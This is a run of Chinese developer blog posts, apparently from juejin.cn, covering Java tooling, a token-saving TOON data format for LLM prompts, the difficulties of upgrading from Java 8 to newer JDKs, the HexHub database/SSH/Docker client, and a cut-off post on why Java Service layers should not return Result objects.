<minimum>0.80</minimum>
</limit>
</limits>
</rule>
</rules>
</configuration>
四、API开发与测试工具
9. Postman + Newman
Postman是API开发和测试的标准工具,而Newman是其命令行版本,适合集成到CI/CD流程中。
高级用法:
- 环境变量管理不同测试环境
- 请求前/后脚本自动化测试
- 导出集合到Newman在CI中执行
- 团队共享API集合
技巧:为每个项目创建环境变量集合,包含测试环境、开发环境、生产环境配置,一键切换。
10. OpenAPI Generator
从OpenAPI(Swagger)规范自动生成API客户端和服务器端代码。
openapi-generator generate -i swagger.json -g spring -o my-spring-server
前后端并行开发时,通过API优先设计,让前端可以基于Swagger UI与Mock服务器工作,而后端则基于生成的接口实现业务逻辑。
五、数据库工具
11. DBeaver
全能型数据库客户端,支持几乎所有主流数据库,功能强大且开源免费。
必备功能:
- ER图可视化
- 数据导出/导入
- SQL格式化
- 数据库比较
- 执行计划分析
技巧:使用其"SQL模板"功能,保存常用查询模板,提高重复查询效率。
12. Flyway/Liquibase
数据库版本控制工具,将数据库结构变更纳入版本管理,确保开发、测试和生产环境的数据库结构一致性。
以Flyway为例:
@Bean
public Flyway flyway() {
return Flyway.configure()
.dataSource(dataSource)
.locations("classpath:db/migration")
.load();
}
最佳实践:
- 每个变更一个脚本文件
- 脚本文件命名规范化
- 脚本必须是幂等的
- 将验证步骤集成到CI流程
六、构建与部署工具
13. Gradle + Kotlin DSL
虽然Maven仍是Java构建工具的主流,但Gradle的灵活性和性能优势明显。使用Kotlin DSL而非Groovy可以获得更好的IDE支持和类型安全。
plugins {
id("org.springframework.boot") version "2.7.0"
id("io.spring.dependency-management") version "1.0.11.RELEASE"
kotlin("jvm") version "1.6.21"
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-web")
testImplementation("org.springframework.boot:spring-boot-starter-test")
}
优势:
- 增量构建更快
- 依赖缓存更智能
- 自定义任务更灵活
- 多项目构建更高效
14. Docker + Docker Compose
容器化是现代Java开发的标配,Docker让环境一致性问题成为历史。
实用命令:
# 启动开发环境所需的所有服务
docker-compose up -d
# 查看容器日志
docker logs -f container_name
# 进入容器内部
docker exec -it container_name bash
技巧:创建一个包含常用中间件(MySQL、Redis、RabbitMQ等)的docker-compose.yml,一键启动开发环境。
15. GitHub Actions/Jenkins
CI/CD是提高团队效率的关键环节。GitHub Actions适合开源项目,Jenkins则更适合企业内部构建流程。
GitHub Actions示例:
name: Java CI
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set up JDK 17
uses: actions/setup-java@v2
with:
java-version: '17'
distribution: 'adopt'
- name: Build with Gradle
run: ./gradlew build
最佳实践:将代码风格检查、单元测试、集成测试、安全扫描全部纳入CI流程,确保代码质量。
七、辅助工具
16. PlantUML
用代码生成UML图,比拖拽式画图工具更高效,特别是需要频繁修改图表时。可以和版本控制系统无缝集成。
@startuml
package "Customer Domain" {
class Customer
class Address
Customer "1" *-- "n" Address
}
package "Order Domain" {
class Order
class LineItem
Order "1" *-- "n" LineItem
Order "*" -- "1" Customer
}
@enduml
IDEA集成:安装PlantUML插件,编写代码时实时预览图表。
17. Obsidian/Logseq
知识管理工具,基于Markdown文件的本地知识库。对于需要持续学习的Java工程师来说,构建个人知识体系至关重要。
推荐用法:
- 每学习一个新技术,创建一个页面
- 记录常见错误和解决方案
- 构建项目文档和架构决策记录
- 使用日常笔记捕捉想法和灵感
技巧:利用双向链接功能,将知识点相互关联,构建知识网络,而非简单的知识树。
总结
最后,工具再好,也需要时间精力去掌握。建议每次只引入1-2个新工具,熟练后再考虑扩展。
毕竟,真正的效率来源于熟练度,而非工具数量。
来源:juejin.cn/post/7506414257399939111
LLM 交互的“省钱”新姿势:JSON 已死,TOON 当立
背景
嘿,兄弟!你是不是也感觉 AI 越来越香,但 Token 账单也越来越“烫”? 💸
GPT-4o、Kimi 这些模型的上下文窗口动不动就几十万、上百万 Token,我们恨不得把整个项目都扔进去。但冷静下来看看账单... ... 哇哦
LLM 的 Token 每一分都是真金白银啊!
当大家都在想办法优化模型、优化算法时,有没有想过,我们每天都在用的 JSON,可能就是那个“背刺”我们 Token 费用的“内鬼”?
JSON 虽好,但它实在是... ... 太!啰!嗦!了!
“内鬼”现形:JSON 到底有多浪费
在 LLM 的世界里,Token 就是钱。表达同样的信息,谁用的 Token 少,谁就是赢家。
不信?我们直接上例子,用事实说话。
假设我们有这样一个简单的用户列表:
1. 冗长的“老大哥”:JSON
标准的 JSON 格式,充满了大括号、双引号和逗号,简直是 Token 杀手。
[
{
"id": 1,
"name": "Alice",
"age": 30
},
{
"id": 2,
"name": "Bob",
"age": 25
},
{
"id": 3,
"name": "Charlie",
"age": 35
}
]
(数数看,光是 name 这个词就重复了 3 遍!)
2. “小清新”但还不够:YAML
YAML 确实清爽了不少,用缩进代替了括号,也去掉了双引号。
- id: 1
name: Alice
age: 30
- id: 2
name: Bob
age: 25
- id: 3
name: Charlie
age: 35
嗯,进步了,但不多。id, name, age 这些键名还是在无情地重复。
3. “抠门”的王者:TOON 登场!
TOON (Token-Oriented Object Notation)闪亮登场,它用了一种近乎“变态”的方式来压缩信息:
[3]{id,name,age}:
1,Alice,30
2,Bob,25
3,Charlie,35
看明白了吗?[3] 表示有3个对象,{id,name,age} 只定义了一次“表头”,后面的数据就像 CSV 一样紧凑排列。
没有对比就没有伤害! 同样的数据,TOON 的 Token 占用量简直是“骨折价”!
啥是 TOON?为 LLM 而生的“省钱利器”
TOON(面向 Token 的对象表示法)就是这么一个专为 LLM 提示词而生的、紧凑且人类可读的数据格式。
它能表示和 JSON 一模一样的对象、数组和数据类型,但它的语法就是为了最小化 Token 使用而设计的。
你可以把它理解为 YAML 的嵌套结构 + CSV 的表格布局 = TOON
TOON 最擅长处理的场景,就是我们最常见的**“结构一致的对象数组”**。在实现 CSV 般紧凑的同时,它又提供了清晰的结构信息({key1, key2}:),帮助 LLM 更可靠地解析和验证数据。
注意: TOON 并非银弹。如果你的数据是深度嵌套或结构极其不统一的,那 JSON 可能还是老老实实的选择。但在“对象数组”这个 LLM 最常见的场景下,TOON 简直无敌。
数据为证:TOON 到底有多能打?
光说不练假把式。Chase Adams 大佬做了一组非常直观的基准测试,对比了 JSON、YAML、TOON 和 CSV 的 Token 效率。


基准测试链接:http://www.curiouslychase.com/playground/…
结论一目了然:
CSV 是 Token 效率的“天花板”,但它无法表示嵌套结构,而且没有元数据,LLM 很容易“读歪”。
TOON 稳坐第二把交椅,效率直逼 CSV,但它保留了完整的结构信息。
JSON 和 YAML... ... 两位老大哥,在 Token 效率上被 TOON 吊打。
如何在 LLM 中“无痛”用上 TOON?
你可能会想:“哇,这么牛?那我岂不是要重构整个系统?”
完全不用
官方推荐的架构是这样的:

看懂了吗?TOON 只是一个**“转换层”**。
你的系统内部,该用 JSON 还是用 JSON,啥也不用改。
在调用 LLM 之前,你只需加一个编码步骤,把 JSON 编码(Encode) 成 TOON 格式再发送。
LLM 返回 TOON 格式的数据后,你再解码(Decode) 成 JSON 给系统用。
你就把它当成一个“中间件”,在和 LLM 交互的“最后一公里”上帮你省钱
别再浪费 Token 了!
在 LLM 时代,Token 效率就是核心竞争力。
JSON 是一个伟大的格式,但在 LLM 交互这个新场景下,它显得既臃肿又昂贵。
TOON 提供了一个完美的替代方案:它在保留 JSON 完整表达能力的同时,实现了接近 CSV 的 Token 效率。
如果你还在为高昂的 LLM Token 费用而头疼,如果你还在忍受 JSON 带来的冗余,那么,是时候给你的系统“升个舱”了
参考
来源:juejin.cn/post/7572453554331009024
JDK25已来,为何大多公司仍在JAVA8?
第一章:JDK 25 都发了,为什么大家还在 Java 8
JDK 25 发布那天,我特意去看了一眼发布说明。内容不复杂,新特性不少,语气一如既往地克制,像是在告诉你: “你可以升级了,但我们不催。”
这种感觉我在 Java 世界里已经很熟了。
同一天,Python 社区的画风完全不一样。Python 3.13 的兼容性讨论、弃用警告、生态适配进度,被反复拿出来说。很多库会直接写在 README 里:“Python 3.8 即将停止支持,请尽快升级。”Java 这边没有这种集体施压。JDK 25 发布了,但 JDK 8 依然能跑、能用、能上线。
我翻了下手头几个线上系统的运行环境,结果并不意外:
- 老核心系统:Java 8
- 偏边缘的新服务:Java 11
- 真正用到 17 的,只有少数新项目
- 至于 21、25,基本只存在于 PPT 和技术分享里
这不是个别现象。招聘网站、云厂商镜像、监控 SDK 默认支持版本,几乎都在默默告诉你一件事:Java 8 依然是“安全版本”(你发任你发,我用java8)。这和 Python 的升级节奏形成了非常明显的反差。
Python 2 → 3,是一次不升级就活不下去的断代。Java 8 → 25,更像是一次你可以一直不动的演进。
从技术角度看,Java 明明一直在进化:
- 语言层面:var、record、sealed class
- JVM 层面:GC、JIT、内存模型
- 工程层面:模块化、工具链
但这些变化,没有哪一项是“非升不可”。
我见过不少 Java 服务,代码风格停在 2016 年,但稳定运行到今天。也见过 Python 项目,因为一个依赖不再支持旧版本,被迫整体升级。
这两种生态的差异,很早就写在设计选择里了。
Java 的向后兼容是它的优势。但到了 JDK 25 这个时间点,这个优势开始变得有点微妙。
因为问题已经不是:
JDK 8 能不能用?
而变成了:
如果一直停在 JDK 8,到底是在保守,还是在逃避某些成本?
这个问题,在技术会议上很少被正面讨论。更多时候,它会被一句话带过:
“先别动,风险太大。”
可风险到底在哪?为什么 Python 升级时大家骂归骂,还是会跟着走;而 Java 这边,哪怕官方已经跑到 25,企业却依然集体停在 8?
我后来发现,真正卡住升级的,从来不是新特性本身。而是升级这件事,一旦开始,就很难只停在“换个 JDK”上。但这件事,只有在你真的尝试过一次升级之后,才会意识到。你也就会抱怨为何JDK会把普及新特性的成本强加在每个java开发者身上
第二章:升级 JDK,看起来向下兼容,实际上并不“平滑”
很多人对 Java 升级的第一判断,来自一个几乎写进 DNA 的认知:
Java 是强向下兼容的语言。
这句话本身没错,也是大多数人从jdk7到jdk8无缝升级的真实感受。但问题在于,大多数人只把它理解成了语法层面。
你用 Java 8 写的代码,放到 JDK 17、21、25 上,大概率还能编译。for、try-catch、Stream、lambda,一个都不会少。这也是为什么很多升级评估一开始都显得非常乐观。真正的问题是 Java 的“向下兼容”,从来不等于 JVM 的平滑迁移。
第一次认真推进 JDK 升级时,我们的目标设得非常保守:不引入新语法、不改业务逻辑、不升级框架,只把运行时从 Java 8 换成 17。理论依据也很充分:代码是向下兼容的,JVM 只要能跑就行。
结果第一个暴露问题的,不是业务代码,而是 JVM 本身。
从 JDK 9 开始,Java 做了一次非常激进、但长期看又必须要做的事情:模块化(JPMS) 。这一步,本质上是在重塑 JVM 的边界。在 Java 8 之前,JDK 更像是一个“开放的整体”。JDK 自己的内部实现,和应用代码之间,并没有严格的隔离。于是很多框架、工具、甚至业务代码,都默认了一件事:
JVM 内部的类,我是可以摸得到的。
比如反射。
Field field = String.class.getDeclaredField("value");
field.setAccessible(true);
在 Java 8,这是一个非常常见、甚至被大量框架依赖的操作。但在模块化之后,这种行为被明确标记为:非法访问(Illegal Reflective Access) 。升级后,日志里开始出现大量这样的提示:
Illegal reflective access by xxx
这类 warning 很容易被误判成“噪音”。因为程序还能跑,接口也没挂。但实际上,这不是 JVM 在提醒你“写得不优雅”,而是在明确告诉你:
你现在还能用,是 JVM 在帮你兜底。
于是有人会加启动参数:
--add-opens java.base/java.lang=ALL-UNNAMED
问题是,从这一刻开始,所谓的“向下兼容”已经被你亲手打破了。你不再是被 JVM 兼容,而是用参数强行绕过 JVM 的设计边界。这也是 Java 升级过程中一个非常隐蔽的转折点:
- 代码层面看起来没变
- 启动参数开始越来越复杂
- JVM 行为开始依赖“约定俗成的补丁”
而这一步,一旦走出去,基本就退不回去了。更麻烦的是,这种不平滑迁移,并不是“偶发问题”,而是 Java 设计演进的必然结果。模块化不是可选项,它是为了:
- 限制 JVM 内部 API 滥用
- 提升安全性
- 为长期演进留空间
但代价是:大量在 Java 8 时代“合理存在”的用法,在新 JVM 下被系统性否定了。这也是为什么很多团队会有一种强烈的错觉:
代码明明没变,怎么升级 JDK 反而问题一堆?
因为你真正升级的,不只是一个版本号,而是 JVM 对“什么是合法行为”的判断标准。而这类问题,偏偏又很难在测试环境一次性暴露完。有的库只在特定路径触发反射;有的异常只在高并发下出现;有的 warning 今天是 warning,下一版就变成 error......
这也是 Java 升级和 Python 最大的不同。
Python 的升级是显式断代:你升级,就必须改代码。
Java 的升级是隐式收紧:你不改代码,但 JVM 会慢慢不再纵容你。
这种“看起来兼容,实际上在变”的特性,让 Java 在企业环境里变得越来越尾大不掉。不是升不了,而是你永远无法确定:
下一步,是不是会踩到一个你完全没预期过的 JVM 行为变化?
也正因为这样,很多公司最终选择了一个看似稳妥、但风险被推迟的方案:停在 Java 8。
第三章:真正让升级失败的,不是编译错误,而是线上行为变了
如果只是编译报错,JDK 升级反而简单。
编不过,改代码;启动不了,补参数;问题是可定位的,也是可回滚的。
真正让团队对升级产生恐惧的,往往发生在上线之后。升级前,所有检查都过了:
- 单元测试全绿
- 接口回归没问题
- 压测 QPS、RT 都在预期范围内
代码一行没改,JDK 从 8 换成 17。
上线当天没有事故。第二天开始,监控里出现了一些非常微妙的变化。不是报错,也不是性能雪崩。而是一些 “看起来不该变的行为,变了” 。
最早被发现的是 GC 行为。Java 8 默认用的是 Parallel GC,而 JDK 17 的默认已经变成了 G1。当时的判断很简单:G1 是“更先进的 GC”,不应该比旧的差。
但线上数据并不这么配合。
- Full GC 次数少了
- Minor GC 次数变多
- 单次停顿更短,但更频繁
这对 JVM 来说是“健康变化”,但对业务来说,结果是:
某些接口的 P99 响应时间开始抖动。
不是慢,而是不稳定。问题在于,这类变化不会在压测里明显暴露。压测关注的是吞吐和平均值,而不是长尾。你只能在真实流量下,才会看到这些边缘效应。
紧接着出现的是更难定位的问题:类加载行为的变化。JDK 9 之后,类加载和模块边界被重新梳理过。很多“以前恰好能工作”的加载顺序,在新 JVM 下变了。
最典型的是 SPI 机制。
ServiceLoader.load(SomeService.class)
在 Java 8 下,这段代码的加载顺序是稳定的。在新 JDK 下,如果存在多个实现,顺序可能发生变化。大多数时候,这没什么影响。但如果你的代码里隐式依赖了加载顺序,问题就来了:比如默认实现被换了;没有异常,没有日志,只是业务行为“和以前不太一样”。这类问题,几乎不可能靠自动化测试完全覆盖。因为测试本身,也是在“旧认知”下设计的。
还有一类更隐蔽的变化,来自于 JIT。JVM 在新版本里持续优化编译策略。某些代码路径,在 Java 8 下是“冷路径”,在新 JDK 下被识别成“热点”。结果是:
- 以前不明显的锁竞争,被放大
- 原本可以忽略的对象创建,开始影响 GC
代码没变,但 JVM 对代码的“理解方式”变了。
这也是为什么很多线上问题,在排查时会陷入一种诡异的状态:
SQL 没变,代码没变,配置没变,只有 JDK 变了
而你又很难证明:问题真的就是 JDK 引起的。
到这一步,升级已经不再是技术选型问题了。它变成了一个心理问题。
团队开始本能地回避这种“不可解释风险”。即便你知道:
- 这些问题不是 JDK 的 bug
- 而是历史代码对 JVM 行为的过度依赖
但现实是,线上系统不接受“技术上合理”的解释。这也是很多公司在第一次升级尝试之后,迅速得出结论的原因:
不是升不了, 而是不值得再为这种不确定性买单。
于是升级计划被无限期搁置。Java 8 继续稳定运行,问题被推迟,而不是被解决。
第四章:真正的风险,不在 JDK,而在你不敢动的那一部分代码
当升级卡在第三章那些“行为变化”上时,团队往往会得出一个结论:
问题太散了,风险不可控。
但后来复盘发现,真正不可控的,从来不是 JDK,而是我们不敢去验证的那一块代码。几乎每个中大型 Java 项目里,都有这样一层东西:
- 没人愿意动
- 但所有人都在用
- 出问题只能回滚
它可能是十年前写的公共组件,也可能是一次紧急需求里硬塞进去的工具类。
在 Java 8 时代,这类代码有一个共同特征:它们和 JVM 的关系非常近。比如自定义 ClassLoader。
public class CustomClassLoader extends ClassLoader {
@Override
protected Class<?> findClass(String name) {
// 从非标准路径加载字节码
}
}
在 Java 8 下,这种实现非常常见。升级之后,问题不一定立刻出现。但一旦涉及模块、服务加载或反射,行为就开始变得不可预测。
再比如字节码增强。无论是早期的 cglib,还是基于 ASM 的工具,很多实现都默认了:
- 某些 JDK 内部类是存在的
- 某些方法签名是稳定的
这些假设,在新 JDK 下不再成立。更现实的问题是:这些代码往往没有完整测试。因为它们本来就不是“业务逻辑”。它们被视为基础设施, 被默认是“不会出问题的”。升级 JDK 时,测试覆盖率看起来还不错。但真正和 JVM 行为强相关的部分,几乎没有被验证过。
于是升级就进入了一个死循环:
- 不敢上线,是因为没验证
- 不验证,是因为不敢动
- 不动,就永远无法升级
这也是 Java 升级和其他语言很不一样的地方。Python 项目里,底层行为大多由解释器和库兜住。Java 项目里,很多“工程能力”是直接构建在 JVM 之上的。而这些能力,恰恰是最难平滑迁移的。
还有一个被严重低估的因素,是运维和排障成本。Java 8 的排障手段,大家已经非常熟悉:
- jmap
- jstack
- 老一套 GC 日志
新 JDK 不是不能用这些工具,而是行为、参数、输出都在变化。同一条 GC 日志,在不同版本下,含义已经不完全一致。这会直接导致一个现实问题:
出问题时,团队是否有信心“看懂”新 JDK 的行为?
如果答案是否定的,那升级本身就是一种冒险。
于是你会看到一种很典型的现象:
- 开发知道 Java 17 更好
- 架构知道 Java 21 是趋势
- 但一到生产,所有人都默认:还是 Java 8 吧
不是因为它完美,而是因为它足够“熟”。
升级 JDK,本质上不是技术债的清理,而是一次对未知的正面接触。而大多数系统,并没有为这种接触做好准备。也正因为这样,很多公司并不是“卡在 Java 8”,而是被 Java 8 保护了很多年。
第五章:真正逼你升级的,从来不是技术本身
在很多公司里,JDK 升级从来不是一个“主动议题”。它通常出现在某个非常具体、而且很现实的场景里。比如云厂商的一封邮件。内容往往写得很克制,大概意思是:
某某 JDK 版本即将停止安全更新 请尽快规划升级方案
这类邮件第一次看到时,大多数人并不会紧张。因为“即将”往往意味着还有一段缓冲期。真正产生压力的,是第二封、第三封。
当你发现云厂商的默认镜像开始发生变化,新建实例已经不再提供 Java 8,升级这件事,就从“技术选择”变成了外部约束。还有安全审计。Java 8 的漏洞,并不比新版本多。但问题在于:很多漏洞,在 Java 8 上不再修了。这意味着同样一个问题:
- 在新 JDK 上,是一个补丁
- 在 Java 8 上,是一个长期风险
安全团队不会和你讨论 JVM 设计演进。他们只看结果: 有没有官方支持,有没有风险背书。
接着是第三方生态。越来越多的中间件、SDK、监控工具,开始把“最低支持 JDK”往上抬。不是突然抛弃 Java 8,而是新功能不再考虑它。
你会慢慢发现:
- 想用新版本框架 → 需要新 JDK
- 想接入新工具 → 官方不再测试 Java 8
- 想拿到性能优化 → 只在新 JVM 生效
这时候,继续停在 Java 8 的成本开始显性化。不是系统跑不动,而是你被锁在一个越来越狭窄的选择空间里。
更现实的是人员问题。新来的工程师,默认使用的已经是 Java 17 甚至更高版本。他们熟悉的是新工具链、新调试方式。当他们面对一套 Java 8 的系统时,不是学不会,而是:
很多问题的解决路径,已经不在他们的经验范围内了。
这会让“稳定”变成另一种风险。因为稳定的前提,是有人能长期维护它。到这一步,升级已经不再是“要不要”的问题。 而是变成了:
现在升级,还是被动升级?
很多团队选择继续拖延,希望把升级成本压到最低。
但现实往往是:拖得越久,升级的边界越难控制。
当升级真的不可避免时,你已经不再有“慢慢试”的空间。而这,才是 Java 8 最危险的地方。它让你误以为,时间是站在你这边的。
第六章:一次相对靠谱的 JDK 升级,应该从哪里开始
真正开始升级之前,有一件事必须先想清楚:你这次升级,是为了“到达某个版本”,还是为了“验证系统能否继续演进”。
这两个目标,看起来很像,路径完全不同。很多失败的升级,问题就出在一开始选错了目标。
如果你只是想“把 Java 8 换成 17”,那你会天然倾向于:
- 尽量不改代码
- 尽量不动依赖
- 尽量让系统看起来“没变”
但这种升级方式,本质上是在赌:赌 JVM 的变化不会触发你没覆盖到的路径。
相对靠谱的升级,第一步反而是承认一件事:
有些问题不是升级带来的, 而是升级帮你提前暴露出来的。
所以真正的起点,往往不是生产环境,而是一个可以被随时推翻的验证环境。不是单元测试,也不是本地跑一下。而是把完整应用,用新 JDK 跑起来。不接真实流量,但一定要接真实配置、真实依赖、真实启动参数。
很多团队在这里就已经踩到了第一个坑:启动参数。Java 8 下积累了大量 JVM 参数,其中不少早已被废弃,甚至在新版本里直接失效。你会看到类似这样的警告:
Ignoring option PermSize; support was removed in 8.0
在 Java 8 你还能“假装没看到”,在新 JDK 下,它会直接提醒你:这些参数已经没有意义了。清理这些参数,本身就是一次风险排查。不是“能不能启动”, 而是启动之后,哪些地方开始行为变化。这里有一个非常实际的做法:在同一套代码下,同时跑两个版本的 JVM。
- 一套用 Java 8
- 一套用目标 JDK
对外提供同样的接口,跑同样的请求。不需要全量对比结果,但要盯几个关键指标:
- P99 延迟
- GC 行为
- 异常日志类型是否变化
很多问题,不是“新版本一定有 bug”,而是你第一次看到了原来就存在的极端情况。还有一个经常被忽略的点:日志和监控工具本身是否适配新 JDK。有些 agent 在 Java 8 下工作得很好,但在模块化之后,注入行为发生变化。结果不是监控失效,而是监控数据“看起来正常,其实已经不完整”。
如果你在升级过程中,突然发现某些指标消失了,那不是系统变健康了,而是你少看了一部分。这也是为什么,靠谱的升级节奏通常很慢。不是因为技术上推进不了,而是你需要时间去重新建立:
“我对这个系统行为的信心。”
到这里,升级才算真正开始。不是宣布成功,而是你终于知道:
- 哪些问题是 JDK 带来的
- 哪些问题是历史债务
- 哪些地方,必须在升级过程中一起解决
而这一步,几乎不可能一蹴而就。也正因为这样,很多公司在真正启动升级后,才意识到一件事:升级 JDK,其实是在逼自己重新理解系统。 而这件事,本身就是一次不小的工程。
第七章:如果一直不升,会发生什么?
在很多团队内部,其实都默认了一种状态:
不升级,不代表现在就有问题。
这句话在相当长的一段时间里,都是成立的。Java 8 足够稳定,线上系统运行多年,没有明显的性能瓶颈,也没有无法解决的故障。于是“暂时不升”逐渐变成了“长期不升”。真正的问题,是这种状态并不是静止的。最先发生变化的,往往不是系统本身,而是它所处的环境。云厂商开始调整基础镜像;CI/CD 环境里的默认 JDK 版本往前走;安全扫描工具对旧版本的容忍度越来越低
你会发现,原来“理所当然”的前提,一个一个消失了。接着是依赖生态。一开始只是新功能不支持 Java 8,后来变成新版本直接不再测试,再后来是明确标注:不兼容。这时候你还能苟住,靠锁版本、靠私服、靠内部维护。
但代价在慢慢累积。每一次新需求评估,都会多一个隐含条件:
这个东西,能不能在 Java 8 上跑?
这个问题一旦出现得足够频繁,系统就已经被版本反向塑形了。更危险的是,问题开始延迟出现。
很多在新 JDK 下会被立刻暴露的行为问题,在 Java 8 下被默默吞掉。你看不到 warning;也感受不到约束。
直到某一天,你必须升级。那时候你面对的,已经不是一次版本迁移,而是一堆被时间放大的设计问题。而升级窗口,反而更小了。
因为这次升级,不是你主动选的。可能是:
- 安全合规要求
- 外部依赖强制
- 云平台策略调整
你已经没有“慢慢试”的空间。于是很多团队会在这个阶段做出一个看似合理的选择:
那就继续顶着吧,能跑一天是一天。
问题在于,这条路并不是线性的。系统越老,理解成本越高,可控范围越小。
最终你会发现,你并不是在“稳定运行一个老系统”,而是在维护一个越来越没人敢动的黑盒。
这时候,Java 8 不再是你的缓冲垫,而是你的时间锁。
而你已经很难判断:
现在不升级,到底是在规避风险, 还是在把风险推给未来一个更糟糕的时刻?
这一点,很多团队只有在真正被逼到墙角时,才会意识到。
结语:也许问题不只在我们
写到这里,再回头看“为什么还卡在 Java 8”,很多原因已经很清楚了:
- 生态复杂
- 历史债重
- 升级风险真实存在
但如果只停在这里,其实有点不公平。因为有一个问题,很少被正面拿出来讨论:
Java 真的做到“向下兼容”了吗?
从语法层面看,是的。Java 8 写的代码,放到 JDK 25,大多数还能编译。但从工程和运行时层面看,答案并没有这么确定。JDK 9 之后,JVM 的内部结构、边界、约束,被系统性地重构过。模块化不是补丁,是一次方向性的调整。这个调整本身没有错。甚至可以说,是 Java 走向长期可维护性的必经之路。
问题在于:JDK8之后演进的成本,几乎全部落在了使用者身上。
旧代码还能跑,但开始被警告;旧用法还能用,但需要加参数;旧依赖还能凑合,但不再被官方支持
从结果上看,JDK 并没有为“平滑迁移”提供一条真正低成本的路径。它选择的是:
保证不立刻崩, 但也不保证你能轻松往前走。
这是一种非常 Java 的工程取舍。向后兼容,被理解成“不破坏既有运行”;而不是“帮助你完成迁移”。
于是一个微妙的局面就出现了:
- JDK 在持续演进
- 企业系统被留在原地
- 升级的代价,被默认为“业务方应该承担的成本”
当升级困难时,我们习惯反思自己的架构、代码、历史债。
但很少有人问一句:
如果一个平台的演进,让大多数成熟用户都不敢升级, 那这个演进路径,是否真的对“工程用户”友好?
也许这并没有标准答案。Java 选择了稳定、选择了克制、选择了长期演进。而代价,是把升级这件事,变成了一次高认知门槛的工程决策。
所以今天还停在 Java 8 的团队,未必是保守,也未必是技术债失控。有时候,只是因为他们不想为一次并不完全由自己造成的不连续演进, 付出过高的试错成本。
当然,这并不意味着一直停留就是对的。
只是到了 JDK 25 这个节点,也许我们该承认一件事:
Java 的升级之所以难, 并不只是因为系统老, 也因为这条升级路,本身就不够平坦。
而要不要踏上这条路,现在,依然没有一个放之四海而皆准的答案。
来源:juejin.cn/post/7599551824548397082
告别切换!一个工具搞定数据库、SSH和Docker管理
关注我的公众号:【编程朝花夕拾】,可获取首发内容。
01 引言
你是否找过免费可用的数据库连接工具,又寻找SSH的连接工具。我们自从收到Navicat律师函警告后,从一度卸载了所有破解的软件,花了很多时间寻找替代品。
这两天发现了一个All in one的集成软件,可以连接数据库、SSH、Docker的神仙工具:HexHub
02 简介

HexHub 是一款专为开发者和运维人员设计、集成了数据库、SSH、SFTP和Docker管理功能的桌面图形界面工具。其核心理念是“All in one”,旨在提供一个统一的工作平台。
官方提供了免费版和商业版,然而免费版已经足够我们日常使用了。

03 使用
官方提供了三种平台的安装包,满足不同的平台的需要。

3.1 数据库连接
目前满足的数据有:Redis、Mysql、MariaDB、PostgreSQL、SqlServer、ClickHouse、SQLite、Oracle
我们以Mysql为例:

我们填入数据库信息即可:

控制台库表提示,关键词高亮的辅助信息。

还有常用的执行计划、格式化、导出、保存等

对于表的操作涵盖了常用的操作,完全满足日常需要。

3.2 SSH
直接右键建立SSH连接即可。

界面主要分了三屏:控制台、UI以及监控。其中UI和监控可以手动收起来或者展开。

控制台的配色,感觉下来还是比较舒服的。
3.3 Docker
Docker的配置类似

其中Docker的配置可能会出现不成功的问题,官方也给除了解决方案:

04 小结
如果你目前在同时使用多个不同的工具来完成日常工作,那么尝试 HexHub 来简化工作流可能会是一个不错的选择。
来源:juejin.cn/post/7597299207573946414
为什么Java里面,Service 层不直接返回 Result 对象?
前言
昨天在Code Review时,我发现阿城在Service层直接返回了Result对象。
指出这个问题后,阿城有些不解,反问我为什么不能这样写。
于是我们展开了一场技术讨论(battle 🤣)。
讨论过程中,我发现这个看似简单的设计问题,背后其实涉及分层架构、职责划分、代码复用等多个重要概念。
与其让这次讨论的内容随风而去,不如整理成文,帮助更多遇到同样困惑的朋友理解原因。
知其然,更知其所以然。
耐心看完,你一定有所收获。

正文
职责分离原则
在传统的MVC架构中,Service层和Controller层各自承担着不同的职责。
Service层负责业务逻辑的处理,而Controller层负责HTTP请求的处理和响应格式的封装。
当我们将数据包装成 Result 对象的任务交给 Service 层时,意味着 Service 层不再单纯地处理业务逻辑,而是牵涉到了数据处理和响应的部分。
这样会导致业务逻辑与表现逻辑的耦合,降低了代码的清晰度和可维护性。
看一个不推荐的写法:
@Service
public class UserService {
public Result<User> getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
return Result.error(404, 用户不存在);
}
return Result.success(user);
}
}
@RestController
public class UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
return userService.getUserById(id);
}
}
上面代码中,Service 层不仅负责从数据库获取用户信息,还直接处理了返回的结果。
如果我们需要改变返回的格式,或者进行错误信息的标准化,所有 Service 层的方法都需要修改。这样会导致代码的高耦合。
相比之下,以下做法将展示逻辑留给 Controller 层,保证了业务逻辑的纯粹性:
@Service
public class UserService {
public User getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
throw new BusinessException(用户不存在);
}
return user;
}
}
@RestController
public class UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
}
让每一层都专注于自己的职责。
可复用性问题
当Service层返回Result时,会严重影响方法的可复用性。
假设我们有一个订单服务需要调用用户服务:
@Service
public class OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 不推荐的方式:需要解包Result
Result<User> userResult = userService.getUserById(userId);
if (!userResult.isSuccess()) {
throw new BusinessException(userResult.getMessage());
}
User user = userResult.getData();
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
这种写法有个很明显的问题。
OrderService 作为另一个业务服务,业务之间的调用本来应该简单直接,但使用 Result 带来了两个问题:
- 不知道
Result里到底包含什么,还得去查看代码里面的实现,写起来麻烦。 - 还需要额外判断
Result的状态,增加了不必要的复杂度。
如果是调用第三方外部服务,需要这种包装还能理解,但在自己业务之间互相调用时,完全没必要这样做。
如果Service返回纯业务对象:
@Service
public class OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 推荐的方式:直接获取业务对象
User user = userService.getUserById(userId);
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
代码变得简洁且符合直觉。
业务层之间直接传递业务对象,保持简单和清晰。
异常处理机制
有些 Service 层在业务判断失败后,会直接返回 Result.fail(xxx) 这样的代码,例如:
public Result<Void> createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
return Result.fail("用户ID不能为空");
}
// 后续业务逻辑
return Result.success();
}
这种做法有几个问题:
- 重复的错误处理:每个方法都得写一大堆类似的错误判断代码,增加了代码量。
